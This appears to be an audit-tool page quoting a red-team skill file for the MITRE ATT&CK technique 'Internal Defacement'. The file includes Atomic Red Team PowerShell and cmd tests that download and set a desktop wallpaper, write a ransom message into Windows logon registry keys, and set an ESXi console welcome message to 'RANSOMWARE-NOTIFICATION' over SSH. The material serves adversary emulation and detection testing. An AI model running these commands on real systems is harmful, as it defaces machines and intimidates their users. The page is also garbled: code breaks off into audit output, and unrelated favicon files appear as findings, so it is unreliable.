T1491.001 Internal DefacementCAUTION

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The instruction file, verbatim from the audited commit — this is the text the model reads, and the surface the audit's instruction layer examines. Quoted here so you can judge it without cloning anything.

---
name: "T1491.001_internal-defacement"
description: "An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems."
category: "business-logic"
version: "18.1"
author: "cyberstrike-official"
tags:
  - mitre-attack
  - enterprise
  - t1491.001
  - impact
  - esxi
  - linux
  - macos
  - windows
  - sub-technique
technique_id: "T1491.001"
tactic: "impact"
all_tactics:
  - impact
platforms:
  - ESXi
  - Linux
  - macOS
  - Windows
mitre_url: "https://attack.mitre.org/techniques/T1491/001"
tech_stack:
  - esxi
  - linux
  - macos
  - windows
cwe_ids:
  - CWE-400
chains_with:
  - T1491
  - T1491.002
prerequisites:
  - T1491
severity_boost:
  T1491: "Chain with T1491 for deeper attack path"
  T1491.002: "Chain with T1491.002 for deeper attack path"
---

# T1491.001 Internal Defacement

> **Sub-technique of:** T1491

## High-Level Description

An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites or server login messages, or directly to user systems with the replacement of the desktop wallpaper. Disturbing or offensive images may be used as a part of Internal Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.

## Kill Chain Phase

- Impact (TA0040)

**Platforms:** ESXi, Linux, macOS, Windows

## What to Check

- [ ] Identify if Internal Defacement technique is applicable to target environment
- [ ] Check ESXi systems for indicators of Internal Defacement
- [ ] Check Linux systems for indicators of Internal Defacement
- [ ] Check macOS systems for indicators of Internal Defacement
- [ ] Verify mitigations are bypassed or absent (1 known mitigations)
- [ ] Assess detection coverage (1 detection strategies)

## How to Test

### Atomic Red Team Tests

The following tests are from [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team) and provide actionable ways to test this technique:

### Atomic Test 1: Replace Desktop Wallpaper

Downloads an image from a URL and sets it as the desktop wallpaper.

**Supported Platforms:** windows

```powershell
$url = "#{url_of_wallpaper}"
$imgLocation = "#{wallpaper_location}"
$orgWallpaper = (Get-ItemProperty -Path Registry::'HKEY_CURRENT_USER\Control Panel\Desktop\' -Name WallPaper).WallPaper
$orgWallpaper | Out-File -FilePath "#{pointer_to_orginal_wallpaper}"
$updateWallpapercode = @'
using System.Runtime.InteropServices;
namespace Win32{

    public class Wallpaper{
        [DllImport("user32.dll", CharSet=CharSet.Auto)]
         static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ;

         public static void SetWallpaper(string thePath){
            SystemParametersInfo(20,0,thePath,3);
        }
    }
}
'@
$wc = New-Object System.Net.WebClient
try{
    $wc.DownloadFile($url, $imgLocation)
    add-type $updateWallpapercode
    [Win32.Wallpaper]::SetWallpaper($imgLocation)
}
catch [System.Net.WebException]{
    Write-Host("Cannot download $url")
    add-type $updateWallpapercode
    [Win32.Wallpaper]::SetWallpaper($imgLocation)
}
finally{
    $wc.Dispose()
}
```

### Atomic Test 2: Configure LegalNoticeCaption and LegalNoticeText registry keys to display ransom message

Display ransom message to users at system start-up by configuring registry keys HKLM\SOFTWARE\Micosoft\Windows\CurrentVersion\Policies\System\LegalNoticeCaption and HKLM\SOFTWARE\Micosoft\Windows\CurrentVersion\Policies\System\LegalNoticeText.

[SynAck Ransomware](https://www.trendmicro.com/vinfo/es/security/news/cybercrime-and-digital-threats/synack-ransomware-leverages-process-doppelg-nging-for-evasion-and-infection),
[Grief Ransomware](https://redcanary.com/blog/grief-ransomware/),
[Maze Ransomware](https://cyware.com/research-and-analysis/maze-ransomware-a-deadly-combination-of-data-theft-and-encryption-to-target-us-organizations-8f27),
[Pysa Ransomware](https://www.cybereason.com/blog/research/threat-analysis-report-inside-the-destructive-pysa-ransomware),
[Spook Ransomware](https://community.fortinet.com/t5/FortiEDR/Threat-Coverage-How-FortiEDR-protects-against-Spook-Ransomware/ta-p/204226),
[DopplePaymer Ransomware](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Ransom:Win32/Dopplepaymer&threatId=-2147221958),
[Reedemer Ransomware](https://blog.cyble.com/2022/07/20/redeemer-ransomware-back-action/),
[Kangaroo Ransomware](https://www.bleepingcomputer.com/news/security/the-kangaroo-ransomware-not-only-encrypts-your-data-but-tries-to-lock-you-out-of-windows/)

**Supported Platforms:** windows
**Elevation Required:** Yes

```powershell
$orgLegalNoticeCaption = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name LegalNoticeCaption).LegalNoticeCaption
$orgLegalNoticeText = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name LegalNoticeText).LegalNoticeText
$newLegalNoticeCaption = "#{legal_notice_caption}"
$newLegalNoticeText = "#{legal_notice_text}"
Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name LegalNoticeCaption -Value $newLegalNoticeCaption -Type String -Force
Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name LegalNoticeText -Value $newLegalNoticeText -Type String -Force
```

### Atomic Test 3: ESXi - Change Welcome Message on Direct Console User Interface (DCUI)

Changes the ESXi welcome message to potentially display ransom information.
[Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/esxcli/#change%20display%20information)

**Supported Platforms:** windows

```cmd
echo "" | "#{plink_file}

CAUTIONgrade B · trust 87/100 Install with care. The audit found things worth knowing before you trust its output.

What the source does

Filesystem

none-observed

Network

none-observed

Shell

none-observed

Dependencies

pinned

Secrets in source

none-found

Findings (6)

packages/app/public/apple-touch-icon-v3.png

packages/app/public/apple-touch-icon.png

packages/app/public/favicon-96x96-v3.png

packages/app/public/favicon-96x96.png

packages/app/public/favicon-v3.ico

echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "esxcli system welcomemsg set -m 'RANSOMWARE-NOTIFICATION'"

Gates applied: no_behavioural_pass.

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